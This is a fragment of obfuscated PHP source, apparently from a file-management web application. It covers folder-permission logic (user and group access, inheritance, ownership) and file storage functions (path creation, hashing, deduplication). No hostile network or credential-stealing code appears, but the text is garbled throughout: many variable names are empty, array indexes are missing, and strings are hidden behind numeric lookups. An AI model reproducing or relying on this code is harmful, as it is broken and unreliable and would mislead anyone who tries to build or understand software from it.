$this->_listDataApply($Ƕ[$ă[369]]); return $Ƕ; } public function reportStatus($ɰ) { $Ư =& $_SERVER[]; $ = array($Ư[399] => $ɰ[$Ư[399]]); $ڱ = Model($Ư[2030])->where($)->field($Ư[2039])->find(); if (!$ڱ) { return !1; } $ = array($Ư[748] => $ɰ[$Ư[748]]); if ($ɰ[$Ư[748]] == $Ư[2035] && $ڱ[$Ư[748]] == $Ư[2035]) { $[$Ư[748]] = 0; } $ܿߟ = Model($Ư[2030])->where($)->save($); if ($ɰ[$Ư[748]] == $Ư[437]) { if ($ڱ[$Ư[468]] != $Ư[198] && $this->shareFileMeta($ڱ[$Ư[468]])) { $this->shareFileMeta($ڱ[$Ư[468]], 0); } $this->remove($ڱ[$Ư[593]]); return !0; } if ($ܿߟ && $ɰ[$Ư[748]] == $Ư[2035]) { $ = $[$Ư[748]] == $Ư[2035] ? 1 : 0; $this->shareFileMeta($ڱ[$Ư[468]], $); $this->removeByFile($ڱ[$Ư[468]]); } return $ܿߟ; } private function removeByFile($º) { $ =& $_SERVER[]; $ = Model($[824])->where(array($[468] => $º))->field($[402])->select(); $Ģ = array_to_keyvalue($, $[12], $[402]); $φ = array($[402] => array($[7], $Ģ), $[488] => 1); $ = $this->where($φ)->field($[593])->select(); if (empty($)) { return; } $ƪ = array_to_keyvalue($, $[12], $[593]); $this->remove($ƪ); } private function shareFileMeta($, $ = null) { $Դ =& $_SERVER[]; $ = array($Դ[468] => $, $Դ[94] => $Դ[2040]); if (is_null($)) { return Model($Դ[2041])->where($)->find(); } $[$Դ[374]] = $; Model($Դ[2041])->add($, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\x5f\x73\157\x75\162\x63\145\x5f\141\x75\x74\150"; public function getAuth($֔) { $ڳ =& $_SERVER[]; $Ѐ = $this->sourceAuthSelect($֔); $ = array(); $ = array(); $ۂ = 2 << 25; foreach ($Ѐ as $ȉ) { $˲ = Model($ڳ[498])->listData($ȉ[$ڳ[1965]]); if (!$˲) { continue; } $[] = $ȉ; $ = 0; if ($ȉ[$ڳ[411]] == SourceModel::TYPE_GROUP) { $ = $ۂ * 2; } if ($ȉ[$ڳ[411]] == SourceModel::TYPE_USER) { $ = $ۂ; } if ($ȉ[$ڳ[411]] == SourceModel::TYPE_USER && $ȉ[$ڳ[496]] == $ڳ[198]) { $ = 0; } $[] = $˲[$ڳ[413]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($ž) { $̺ =& $_SERVER[]; static $ޛ = array(); $ = is_array($ž) ? !1 : !0; if ($) { $ž = array($ž); } $ = array(); foreach ($ž as $ݭٕ) { if (isset($ޛ[$ݭٕ])) { $[$ݭٕ] = $ޛ[$ݭٕ]; } } if (count($) == count($ž)) { return $ ? $[$ž[0]] : $; } $̬ = $̺[2042]; $ꙙ = array($̺[402] => array($̺[7], $ž)); $Ӯ֜ = $this->field($̬)->order($̺[399])->where($ꙙ)->select(); $ر = array_to_keyvalue_group($Ӯ֜, $̺[402]); foreach ($ž as $ݭٕ) { $ޛ[$ݭٕ] = $ر[$ݭٕ] ? $ر[$ݭٕ] : array(); } if ($) { return $Ӯ֜; } return $ر; } public function setAuth($ĩ, $) { $߅ =& $_SERVER[]; $ = Model($߅[1341])->sourceInfo($ĩ); if (!$) { return !1; } if ($[$߅[411]] != SourceModel::TYPE_GROUP) { return !1; } $㴞 = 1; $ѱ = $[$߅[496]]; if ($ѱ != $㴞) { $Ƅ = array($߅[1861] => $ѱ); $ = Model($߅[1951])->field($߅[1670])->where($Ƅ)->select(); $ = array_to_keyvalue($, $߅[12], $߅[1670]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $뒜) { if (!in_array($뒜[$߅[411]], $)) { show_json(LNG($߅[2043]), !1); } if ($ѱ != $㴞) { if ($뒜[$߅[411]] == SourceModel::TYPE_GROUP) { } if ($뒜[$߅[496]] != 0 && !in_array($뒜[$߅[496]], $)) { } } if ($뒜[$߅[496]] == 0) { $뒜[$߅[411]] = SourceModel::TYPE_USER; } $[] = array($߅[402] => $ĩ, $߅[411] => intval($뒜[$߅[411]]), $߅[496] => intval($뒜[$߅[496]]), $߅[1965] => intval($뒜[$߅[1965]]) ? intval($뒜[$߅[1965]]) : 0, $߅[2025] => intval($뒜[$߅[2025]]) ? intval($뒜[$߅[2025]]) : -1); } $this->where(array($߅[417] => $ĩ))->delete(); $this->addAll($); return !0; } public function authClear($Ħ) { $ﴊՍ =& $_SERVER[]; $ = Model($ﴊՍ[1341])->sourceInfo($Ħ); $ = array($Ħ); if ($[$ﴊՍ[410]] == $ﴊՍ[88]) { $ = array($ﴊՍ[580] => array($ﴊՍ[540], $[$ﴊՍ[511]] . $Ħ . $ﴊՍ[541])); $ = Model($ﴊՍ[1341])->field($ﴊՍ[417])->where($)->getField($ﴊՍ[402], !0); $[] = $Ħ; } $this->where(array($ﴊՍ[417] => array($ﴊՍ[418], $)))->delete(); return !0; } public function getAllChildren($臠) { $в =& $_SERVER[]; $ = Model($в[1341])->sourceInfo($臠); if ($[$в[410]] != $в[88]) { return $this->sourceListAuth(array($臠)); } if ($[$в[411]] != SourceModel::TYPE_GROUP) { return array(); } $Ͼ = 1; $ = array($臠); if ($[$в[432]] == $в[198] && $[$в[496]] != $Ͼ) { $ = $this->groupChidldAllRootSource($[$в[496]]); } $ = $this->field($в[402])->group($в[402])->select(); $ = array_to_keyvalue($, $в[12], $в[402]); if (!$) { return array(); } $ = $в[2044]; $ = array($в[402] => array($в[7], $), $в[431] => $в[198]); $а߅ = Model($в[824])->field($)->where($)->select(); $ = array($臠); foreach ($а߅ as $) { foreach ($ as $) { $ = $в[50] . $ . $в[50]; $ = $[$в[511]] . $[$в[402]] . $в[50]; if (strstr($, $)) { $[] = $[$в[402]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($ʓ) { $ =& $_SERVER[]; $ľ = Model($[1341])->sourceListInfo($ʓ, !0); $ă = $this->sourceAuthSelect($ʓ); $֘ = array(); $ = array(); foreach ($ľ as $ζ) { unset($ζ[$[456]]); unset($ζ[$[454]]); unset($ζ[$[413]]); unset($ζ[$[87]]); $ = $ă[$ζ[$[402]]]; if (!$) { continue; } $ζ[$[2045]] = $this->authTargetInfo($); $ζ[$[509]] = rtrim($ζ[$[515]], $[8]) . $[8] . ltrim($ζ[$[509]], $[8]); $֘[] = $ζ; $ɕ = count(explode($[8], trim($ζ[$[509]], $[8]))); $[] = $ɕ + ($ζ[$[33]] == $[75] ? 0 : 1000); } array_multisort($, SORT_ASC, $֘); return $֘; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; $ = Model($[2046])->groupChildrenAll($); $ = array($[432] => 0, $[496] => array($[7], $), $[411] => SourceModel::TYPE_GROUP); $և = Model($[824])->field($[402])->where($)->select(); $և = array_to_keyvalue($և, $[12], $[402]); return $և; } private function authTargetInfo($ﰢ) { $ =& $_SERVER[]; $ = array(); $Ә = array(); $͙ = 2 << 25; foreach ($ﰢ as $) { $ = Model($[498])->listData($[$[1965]]); if (!$) { continue; } if ($[$[411]] == SourceModel::TYPE_USER) { $Кة = Model($[504])->getInfoSimpleOuter($[$[496]]); if ($Кة[$[1670]] == $[1190]) { continue; } if ($Кة[$[1670]] == $[198]) { $Кة[$[32]] = LNG($[2047]); } } else { $Кة = Model($[512])->getInfoSimple($[$[496]]); } if (!$Кة) { continue; } $Кة[$[467]] = $; $[] = $Кة; $ = 0; if ($[$[411]] == SourceModel::TYPE_GROUP) { $ = $͙ * 2; } if ($[$[411]] == SourceModel::TYPE_USER) { $ = $͙; } if ($[$[411]] == SourceModel::TYPE_USER && $[$[496]] == $[198]) { $ = 0; } $Ә[] = $[$[413]] + $; } array_multisort($Ә, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $¦) { $ =& $_SERVER[]; $ʫ = Model($[525])->getInfo($¦); if (!$¦ || !$ || !$ʫ) { return array(); } $։ = Model($[1341])->sourceInfo($); $π = array(); $䐆 = 1; if ($։[$[432]] == $[198] && $։[$[496]] != $䐆 && $this->groupContainUser($։[$[496]], $¦)) { foreach ($ʫ[$[2048]] as $) { $ = Model($[512])->getInfo($[$[1861]]); $ = Model($[525])->getInfoSimpleOuter($¦); $[$[467]] = $[$[413]]; if (Model($[498])->authCheckAction($[$[413]][$[413]], $[1882])) { continue; } $Ԏޅ = array($[32] => $[1210] . $[$[32]], $[402] => $[$[87]][$[402]], $[84] => KodIO::make($[$[87]][$[402]]), $[432] => $[198], $[411] => $[505], $[33] => $[544], $[509] => $[$[516]], $[1861] => $[$[1861]], $[513] => $[$[432]], $[2045] => array($)); $π[$Ԏޅ[$[402]]] = $Ԏޅ; } } $ = array(); $̀ = $this->getAllChildren($); foreach ($̀ as $) { $ = !1; foreach ($[$[2045]] as $֪) { if ($֪[$[1670]]) { if ($֪[$[1670]] == $¦) { $ = !0; break; } } if ($֪[$[1861]]) { if ($this->groupContainUser($֪[$[1861]], $¦)) { $ = !0; break; } } } if ($) { $[] = $; } $Ű = $[$[402]]; if (isset($π[$Ű])) { $[$[2045]][] = $π[$Ű][0]; $π[$Ű] = !1; } } $π = array_filter(array_values($π)); $ = array_merge($π, $); return $; } public function setAllChildrenByUser($ܩ, $ٵ, $) { $ʫæ =& $_SERVER[]; $ҥ = $this->getAllChildrenByUser($ܩ, $ٵ); if (!$ || !$ҥ) { return !1; } foreach ($ҥ as $ޱ) { $® = array(); foreach ($ޱ[$ʫæ[2045]] as $ɠ) { $ = $ɠ[$ʫæ[467]]; $ = $ɠ[$ʫæ[1670]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ɠ[$ʫæ[1670]] ? $ɠ[$ʫæ[1670]] : $ɠ[$ʫæ[1861]]; if ($ɠ[$ʫæ[1670]] && $ɠ[$ʫæ[1670]] == $ٵ) { continue; } $®[] = array($ʫæ[402] => $ޱ[$ʫæ[402]], $ʫæ[411] => $, $ʫæ[496] => intval($), $ʫæ[1965] => isset($[$ʫæ[399]]) ? intval($[$ʫæ[399]]) : 0, $ʫæ[2025] => isset($[$ʫæ[2025]]) ? intval($[$ʫæ[2025]]) : -1); } $®[] = array($ʫæ[402] => $ޱ[$ʫæ[402]], $ʫæ[411] => SourceModel::TYPE_USER, $ʫæ[496] => intval($ٵ), $ʫæ[1965] => intval($), $ʫæ[2025] => -1); $this->where(array($ʫæ[417] => $ޱ[$ʫæ[402]]))->delete(); $this->addAll($®); } return !0; } public function get($Р) { $ = $this->getSourceList(array($Р), !0); return $[0]; } public function getSourceList($, $Ԩ = false, $ = false) { $Æ =& $_SERVER[]; if (!$) { return array(); } $ = Model($Æ[1341]); if (!$Ԩ && count($) == 1) { $Ԩ = array(); $Ԩ[$[0]] = $->sourceInfo($[0]); } if (!$Ԩ) { $ = array($Æ[417] => array($Æ[418], $)); $Ԩ = $->field($Æ[2049])->where($)->select(); $Ԩ = array_to_keyvalue($Ԩ, $Æ[402]); } $ߴ = $; foreach ($Ԩ as $ᕙ => $) { $ɕ = $->parentLevelArray($[$Æ[511]]); $ߴ = array_merge($ߴ, array($ᕙ), array_reverse($ɕ)); } $ߴ = array_values(array_unique($ߴ)); if (!$ߴ) { return array(); } $͋ = $this->sourceAuthSelect($ߴ); $Ŗ = array(); foreach ($ߴ as $øֶ) { if (isset($͋[$øֶ])) { $Ŗ[$øֶ] = $͋[$øֶ]; } } $ = $this->userIsRoot($); $鑡 = AuthModel::authAll(); $ = array($Æ[414] => $鑡, $Æ[2050] => array($Æ[419] => 0, $Æ[1867] => $鑡, $Æ[420] => LNG($Æ[2051]), $Æ[1884] => $Æ[2052])); $ﰶ = array(); foreach ($Ԩ as $øֶ => $) { if ($ && $GLOBALS[$Æ[6]][$Æ[1880]]) { $ﰶ[$øֶ] = $; continue; } $ﰶ[$øֶ] = $this->makeSourceAuth($, $Ŗ, $); } return $ﰶ; } public function authDeepCheck($Ď, $˨ = false) { $㾗 =& $_SERVER[]; $˨ = $˨ ? $˨ : USER_ID; $ = $this->makeAuthDeep($˨); if (!in_array($Ď, $[$㾗[2053]])) { return !1; } $Ƙ = array(); foreach ($[$㾗[2054]] as $ => $Մ) { if (!in_array($Ď, $Մ)) { continue; } $Ƙ[] = $; } if (!$Ƙ) { return !1; } $ = $Ƙ ? $Ƙ[0] : $Ď; return array($㾗[414] => -1, $㾗[467] => array($㾗[419] => $㾗[1190], $㾗[1867] => $㾗[198], $㾗[420] => LNG($㾗[2055]), $㾗[1884] => $㾗[2056]), $㾗[2057] => LNG($㾗[2058]), $㾗[2059] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ҷ٦ = array(); $ = $ ? $ : USER_ID; if (isset($ҷ٦[$])) { return $ҷ٦[$]; } $ु = Model($[2060])->listData(); $Ć = array(); foreach ($ु as $ڪ) { if ($ڪ[$[413]] == 0 && $ڪ[$[1883]] == $[88]) { $Ć[] = $ڪ[$[399]]; } } $ó寔 = $this->userGroupParents($); $ = array($[411] => SourceModel::TYPE_USER, $[496] => $); if ($ó寔) { $ = array(array($[411] => SourceModel::TYPE_USER, $[496] => $), array($[411] => SourceModel::TYPE_GROUP, $[496] => array($[418], $ó寔)), $[1002] => $[1959]); } $ = $this->field($[2061])->where($)->select(); $鎳 = array(); $ = array_to_keyvalue_group($, $[402]); foreach ($ as $І => $) { $ = $this->authArrayCheck($, $); if ($[$[414]] > 0) { $鎳[] = $І . $[12]; } } if ($ó寔) { $͇ = Model($[512]); foreach ($ó寔 as $) { $靨 = $͇->getInfo($); if (!$靨 || !is_array($靨[$[87]])) { continue; } $鎳[] = $靨[$[87]][$[402]]; } } $ = array(); $ʃ = $ó寔; $̚ = Model($[1341]); $͇ = Model($[512]); $ = array(); $ = array(); $ = array(); $ = array(); if ($鎳) { $ = $̚->where(array($[402] => array($[418], $鎳)))->select(); foreach ($ as $܃) { $ٰ = $̚->parentLevelArray($܃[$[511]]); $ = array_merge($, $ٰ); $ʃ[] = $܃[$[496]]; $[$܃[$[402]]] = $ٰ; $[$܃[$[402]]] = $܃[$[496]]; } } $ʃ = array_values(array_unique($ʃ)); $ɏ = $ʃ; foreach ($ɏ as $) { $靨 = $͇->getInfo($); $ٰ = $̚->parentLevelArray($靨[$[511]]); $ʃ = array_merge($ʃ, $ٰ); } $ʃ = array_values(array_unique($ʃ)); foreach ($ʃ as $) { $靨 = $͇->getInfo($); $[] = $靨[$[87]][$[402]]; $[$] = $靨[$[87]][$[402]]; $[$] = $̚->parentLevelArray($靨[$[511]]); } foreach ($ as $ߘ => $) { $ = $[$ߘ]; if (!$ || !$[$]) { continue; } $ڻ = array(); foreach ($[$] as $) { $ڻ[] = $[$]; } $[$ߘ] = array_merge($ڻ, $); } $ = array_values(array_unique($)); $ = array($[2053] => $, $[2054] => $); $ҷ٦[$] = $; return $; } private function makeSourceAuth($ҝ, $, $ɟ = false) { $ =& $_SERVER[]; $٤ = $[88]; $ = $ҝ[$[496]]; $ˣ = $ҝ[$[411]] == SourceModel::TYPE_GROUP; $Ǥ = $ˣ ? $this->groupRootAuth($, $ɟ) : !1; if ($Ǥ && Model($[498])->authCheckAction($Ǥ[$[413]], $[1882])) { return $this->groupAuthInfo($Ǥ, $); } $٩ = Model($[1341])->parentLevelArray($ҝ[$[511]]); $٩ = array_merge(array($ҝ[$[402]]), array_reverse($٩)); $à = !1; foreach ($٩ as $萴) { if (!isset($[$萴])) { continue; } $ = $this->authMake($[$萴], $ɟ); if ($[$[467]]) { $à = $; break; } } if (!$ˣ) { return $Ã; } if (!$à && $Ǥ) { $à = $this->groupAuthInfo($Ǥ, $); } if (!$Ã) { $ = Model($[512])->getInfo($); $ꌃ = explode($[50], trim($[$[511]], $[50])); $ꌃ = array_reverse($ꌃ); foreach ($ꌃ as $˟) { if ($˟ == $[198] || $˟ == $٤) { continue; } $Ӗ = $this->groupRootAuth($˟, $ɟ); if (!$Ӗ) { continue; } $à = $this->groupAuthInfo($Ӗ, $˟); break; } } if (!$à || $Ã[$[414]] <= 0) { $Ĥ߳ = $this->authDeepCheck($ҝ[$[402]], $ɟ); if ($Ĥ߳) { $à = $Ĥ߳; } } return $Ã; } private function userIsRoot($ = false) { $հْ =& $_SERVER[]; if (!$ && _get($GLOBALS, $հْ[494])) { return !0; } $ = Model($հْ[525])->getInfo($); $ޮ = Model($հْ[2062])->listData($[$հْ[1551]]); if ($ޮ && $ޮ[$հْ[502]][$հْ[2063]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $Ч = Model($[1341]); $ڽ = $Ч->sourceInfo($); if (!$ڽ) { return !1; } $Ч->groupPathDisplay($ڽ); $ߩ = array($ڽ); $ߩ = $Ч->_listAppendPath($ߩ); $ڽ = $ߩ[0]; $Ƣ = $ڽ[$[509]]; if (isset($ڽ[$[517]])) { $ = explode($[8], trim($ڽ[$[509]], $[8])); array_shift($); $Ƣ = $ڽ[$[515]] . $[2064] . implode($[8], $); } return array($[420] => $ڽ[$[32]], $[84] => KodIO::make($ڽ[$[402]]), $[2065] => $Ƣ); } private function groupAuthInfo($˸В, $) { $ٱ =& $_SERVER[]; $̖ = Model($ٱ[512])->getInfo($); return array($ٱ[2066] => intval($˸В[$ٱ[413]]), $ٱ[2050] => $˸В, $ٱ[2067] => LNG($ٱ[2068]), $ٱ[2059] => array($ٱ[420] => $̖[$ٱ[32]], $ٱ[84] => KodIO::make($̖[$ٱ[87]][$ٱ[402]]), $ٱ[2065] => $̖[$ٱ[516]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $܋ = $ . $[2069] . $; static $ = array(); if (isset($[$܋])) { return $[$܋]; } $ʡ = Model($[512])->getInfo($); $ھ = $this->userGroupList($); $ = isset($ھ[$]) ? $ھ[$][$[413]] : !1; if ($ && Model($[498])->authCheckAction($[$[413]], $[1882])) { $[$܋] = $; return $; } $ꉴ = $this->sourceAuthSelect($ʡ[$[87]][$[402]]); $ = $ꉴ ? $this->authMake($ꉴ, $) : !1; $ = $ ? $[$[467]] : !1; $[$܋] = $ ? $ : $; return $[$܋]; } public function authOwnerApply($) { $ =& $_SERVER[]; if (empty($[$[413]]) || isset($[$[2070]]) && $[$[2070]]) { return $; } if (AuthModel::authCheckRoot($[$[413]][$[414]])) { return $; } $ѽ = Model($[1341])->parentLevelArray($[$[511]]); $ѽ = array_merge(array($[$[402]]), array_reverse($ѽ)); $ү = $this->sourceAuthSelect($ѽ); $ݍ = array(); $π = array(); foreach ($ү as $ׯ => $ߌ) { $ڪǬ = $this->authFolderOwnerUser($ߌ); $ݍ[$ׯ] = $ڪǬ; $π = array_merge($π, $ڪǬ[$[590]]); if ($ڪǬ[$[2071]]) { break; } } if (count($π) == 0) { $π = $this->authFolderOwnerGroup($[$[496]]); } $π = array_unique($π); if (AuthModel::authCheckRoot($[$[413]][$[414]])) { $π[] = USER_ID; } $[$[413]][$[2072]] = Model($[504])->userListInfo($π); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $퓾 = Model($[1951])->where(array($[1861] => $))->select(); $ = array(); if (!$퓾) { return $; } foreach ($퓾 as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[413]])) { $[] = $[$[1670]]; } } return $; } private function authFolderOwnerUser($) { $ =& $_SERVER[]; $ = array(); $݆ = !1; foreach ($ as $ח) { $ = $this->authInfo($ח); if ($ח[$[496]] == $[198]) { $݆ = !0; } if ($ח[$[411]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[413]])) { $[] = $ח[$[496]]; } } } return array($[590] => $, $[2071] => $݆); } public function authMake($ޖ, $ = false) { $̄ =& $_SERVER[]; $¥ = $this->authArrayCheck($ޖ, $); if ($¥[$̄[2073]]) { $¥[$̄[2073]] = $this->sourceAuthInfo($¥[$̄[2073]]); } return $¥; } public function authArrayCheck($ġӁ, $ = false) { $Ҳ =& $_SERVER[]; if (!$ġӁ) { return array($Ҳ[414] => 0, $Ҳ[467] => !1); } $ = $ ? $ : USER_ID; $ᒾ = 0; $ = 0; $ = 0; $ = 0; $Ŷ钋 = 0; $ = 0; $ɤ = 1000; $ = 0; $Ͳ = 0; $ = 0; $ = 0; $ = array($Ҳ[402] => 0); foreach ($ġӁ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$Ҳ[496]]; $ڮ = intval($[$Ҳ[413]]); if ($[$Ҳ[411]] == SourceModel::TYPE_USER && $ == $) { $ᒾ = !0; $ = $; $ = $ڮ; } else { if ($[$Ҳ[411]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $سک = $this->groupStepToUserGroup($, $); if ($سک < $ɤ) { $ɤ = $سک; $Ŷ钋 = $ڮ; $ = $; $ = $; } if ($سک == $ɤ && $ڮ >= $Ŷ钋) { $Ŷ钋 = $ڮ; $ = $; $ = $; } } else { if ($ == $Ҳ[198]) { $Ͳ = !0; $ = $; $ = $ڮ; } } } } if ($ᒾ) { $Ƹ = $; $ = $; $ʁ = LNG($Ҳ[2074]); } else { if ($) { $Ƹ = $Ŷ钋; $ = $; $芆 = Model($Ҳ[512])->getInfo($); $ʁ = $Ҳ[162] . $芆[$Ҳ[516]] . $Ҳ[2075] . LNG($Ҳ[2076]); } else { if ($Ͳ) { $Ƹ = $; $ = $; $ʁ = LNG($Ҳ[2047]); } else { $Ƹ = 0; $ = !1; $ʁ = $Ҳ[12]; } } } $ = array($Ҳ[2066] => intval($Ƹ), $Ҳ[2050] => $, $Ҳ[2067] => $ʁ, $Ҳ[2059] => $[$Ҳ[402]]); return $; } private function groupContainUser($ㅍ, $ = false) { return in_array($ㅍ, $this->userGroupParents($)); } private function groupStepToUserGroup($㡯ދ, $ = false) { $ =& $_SERVER[]; $ = $this->userGroupList($); $ = 1000; $ʂ = $GLOBALS[$[6]][$[89]][$[1964]] == 1; $ = $ʂ ? 3 : 2; foreach ($ as $բ) { if ($բ[$[1861]] == $㡯ދ) { return 0; } $є = explode($[50], trim($բ[$[511]], $[50])); if ($є[0] == $[198] && count($є) > $) { $밶 = array_reverse(array_slice($є, $)); $˯ = array_search($㡯ދ, $밶); if ($˯ !== !1 && $˯ + 1 <= $) { $ = $˯ + 1; } } } return $; } private function userGroupList($ = false) { $Ј =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ǽ = Model($Ј[525])->getInfo($); $[$] = array_to_keyvalue($ǽ[$Ј[2048]], $Ј[1861]); return $[$]; } public function userGroupParents($) { $ﲕۃ =& $_SERVER[]; static $ť = array(); $ = $ ? $ : USER_ID; if (isset($ť[$])) { return $ť[$]; } $˦ = $this->userGroupList($); $ = array(); $ = $GLOBALS[$ﲕۃ[6]][$ﲕۃ[89]][$ﲕۃ[1964]] == 1; $ = $ ? 3 : 2; foreach ($˦ as $Κ) { $辱 = array($Κ[$ﲕۃ[1861]]); $ = explode($ﲕۃ[50], trim($Κ[$ﲕۃ[511]], $ﲕۃ[50])); if ($[0] == $ﲕۃ[198] && count($) > $) { $ = array_slice($, $); $辱 = array_merge($辱, array_reverse($)); } $ = array_merge($, $辱); } $ť[$] = array_unique($); return $ť[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $넳) { if ($넳[$[411]] == SourceModel::TYPE_USER) { $[] = intval($넳[$[496]]); } else { if ($넳[$[411]] == SourceModel::TYPE_GROUP) { $[] = intval($넳[$[496]]); } } } if ($) { $ = Model($[504])->userListInfo($); } if ($) { $ƕ = array($[1949] => array($[418], $)); $ = Model($[512])->field($[2077])->where($ƕ)->select(); $ = array_to_keyvalue($, $[1861]); } return array($[2078] => $, $[2079] => $); } public function authInfo($ۊ) { $ڒ =& $_SERVER[]; if ($ۊ[$ڒ[1965]]) { $ = Model($ڒ[498])->listData($ۊ[$ڒ[1965]]); if (!$) { return !1; $ڼ = Model($ڒ[498])->listData(); $Ƿ = array_filter_by_field($ڼ, $ڒ[413], $ڒ[198]); return $Ƿ; } $ = array_field_key($, array($ڒ[399], $ڒ[32], $ڒ[413], $ڒ[1884], $ڒ[1885])); $[$ڒ[2080]] = $ۊ; return $; } else { return array($ڒ[419] => 0, $ڒ[1867] => $ۊ[$ڒ[2025]], $ڒ[420] => $ڒ[12], $ڒ[1884] => $ڒ[2081]); } } } goto Dф; e: class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\137\x66\x69\154\x65\x5f\x63\x6f\156\x74\x65\x6e\164\163"; protected $dataAuto = array(array("\x63\162\145\x61\164\145\124\x69\x6d\x65", "\164\151\x6d\145", "\x69\156\x73\145\162\164", "\x66\x75\x6e\x63\164\151\157\x6e")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x66\x69\154\145"; protected $tableMeta = array("\x74\141\x62\154\145\116\141\x6d\145" => "\151\157\x5f\146\x69\x6c\145\x5f\x6d\145\x74\x61", "\x6d\145\164\x61\x46\x69\145\154\x64" => "\x66\151\x6c\x65\x49\x44"); public function fileInfo($Ӛ) { $Ѐ =& $_SERVER[]; static $ማ = array(); if (!isset($ማ[$Ӛ])) { $ٵĢ = $Ѐ[1910]; $ = Model($Ѐ[471])->field($ٵĢ)->where(array($Ѐ[469] => $Ӛ))->find(); $ማ[$Ӛ] = $; } return $ማ[$Ӛ]; } public function addFileByContent($È = '', $ԓ = '') { $ =& $_SERVER[]; $ѱ = TEMP_PATH . $[1911]; if (!is_dir($ѱ)) { mk_dir($ѱ); } $ج = $ѱ . $[1912] . rand_string(16); file_put_contents($ج, $È); $Ԗ = $this->addFile($ج, $ԓ, !0); if (file_exists($ج)) { @unlink($ج); } return $Ԗ; } public function createFileName($藵, $ = false, $젩 = false) { $ =& $_SERVER[]; $੬ = IO::init($[8]); $ҭ = $this->makeFilePath($藵, $੬, $, $젩); $ʬĮ = $੬->pathFather($ҭ); static $ = false; $ = $[1913] . md5($ʬĮ); if (!$ && !Cache::get($)) { $ = !0; $ςӃ = IO::mkdir($ʬĮ); if (!IO::exist($ςӃ . $[796])) { IO::mkfile($ςӃ . $[796]); } Cache::set($, 1, 3600 * 2); } return $ҭ; } public function makeFilePath($ﺉ, $Е̫, $ = false, $߾ = false) { $ =& $_SERVER[]; $ = Model($[769])->get($[1914]); $ܼ = KodIO::defaultIO() . date($[1915]); $ݓ = $ܼ . rand_string(5) . short_id(100); $ﺉ = str_replace($[8], $[11], KodIO::clear($ﺉ)); $Š = $Е̫->ext($ﺉ); if (!$ﺉ) { $ = $[1916]; } switch ($) { case $[1917]: $ݓ = $ݓ . $[10] . $Е̫->ext($ﺉ); if ($Š == $[1854]) { $ݓ .= $[1208]; } break; case $[1918]: $ˮ = Model($[769])->get($[770]); $ϕ = substr(md5($[771] . $ˮ . date($[746])), 0, 8); $̰ = KodIO::defaultDriver(); $ܼ = $[1239] . $̰[$[399]] . $[409] . date($[1919]) . $ϕ . $[8]; if ($Š == $[1854]) { $ﺉ .= $[1208]; } $ = $[1920] . $ܼ . $ﺉ; CacheLock::lock($); $ݓ = $ܼ . $ﺉ; if (IO::exist($ܼ . $ﺉ)) { $ʘ = substr($ﺉ, 0, strlen($ﺉ) - strlen($Š)); $߶ = $߾ ? substr($߾, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ݓ = $ܼ . $ʘ . $߶ . $[10] . $Š; } if (IO::isTypeObject($ݓ) && !IO::isUploadServer($ݓ)) { if (IO::exist($ݓ)) { return $ݓ; } $ = IO::setContent($ݓ, $[12]); if (!$) { show_json($[1921], !1); } } CacheLock::unlock($); break; case $[1916]: break; default: break; } return $ݓ; } public function addFileByRemote($, $, $Κ = array()) { $ڶӆ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $͈ = $Κ[$ڶӆ[176]] ? $Κ[$ڶӆ[176]] : $ڶӆ[12]; $؇Օ = IO::hashMd5($, $͈); $滮 = KodIO::defaultDriver(); $佯̅ = array($ڶӆ[545] => IO::size($), $ڶӆ[1922] => 1, $ڶӆ[420] => $, $ڶӆ[807] => $滮[$ڶӆ[399]], $ڶӆ[421] => $, $ڶӆ[1923] => $Κ[$ڶӆ[177]] ? $Κ[$ڶӆ[177]] : IO::hashSimple($), $ڶӆ[1924] => $؇Օ ? $؇Օ : $͈); if ($ = $this->addFileCheckExist($佯̅[$ڶӆ[177]], $佯̅[$ڶӆ[176]], $佯̅[$ڶӆ[76]])) { return $; } return $this->addFileData($佯̅); } private function addFileData($٨) { $՞ =& $_SERVER[]; if (!$٨) { return !1; } $٨[$՞[76]] = intval($٨[$՞[76]]); if (!$٨[$՞[76]] && strlen($٨[$՞[177]]) > 32) { $٨[$՞[76]] = intval(substr($٨[$՞[177]], 32)); } $ = $this->add($٨); return $this->find($); } public function addFile($, $, $ђ = false) { $ڌ =& $_SERVER[]; $ = IO::hashSimple($); $ = IO::size($); $ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $ڌ[12]; $ = $ڌ[1925] . $; CacheLock::lock($); if ($ && $) { $Ӓ = $this->addFileCheckExist($, $, $); if ($Ӓ) { CacheLock::unlock($); return $Ӓ; } } $Ȭ = $this->addFileMake($, $, $, $, $, $ђ); $į = $this->addFileData($Ȭ); CacheLock::unlock($); if (!$ && $į) { $this->fileMd5Check($į); } return $į; } private function fileMd5Check($깭) { $ԗ =& $_SERVER[]; $ڒ = array($깭[$ԗ[468]], $깭[$ԗ[84]]); $ = $ԗ[1926] . $깭[$ԗ[84]]; $ۍ = $ԗ[1927] . $깭[$ԗ[468]]; $ꕻ = TaskQueue::add($ԗ[1928], $ڒ, $, $ۍ); if (!$ꕻ) { $this->fileMd5Set($깭[$ԗ[468]], $깭[$ԗ[84]]); } else { TaskQueue::addSubmit(); } } public function 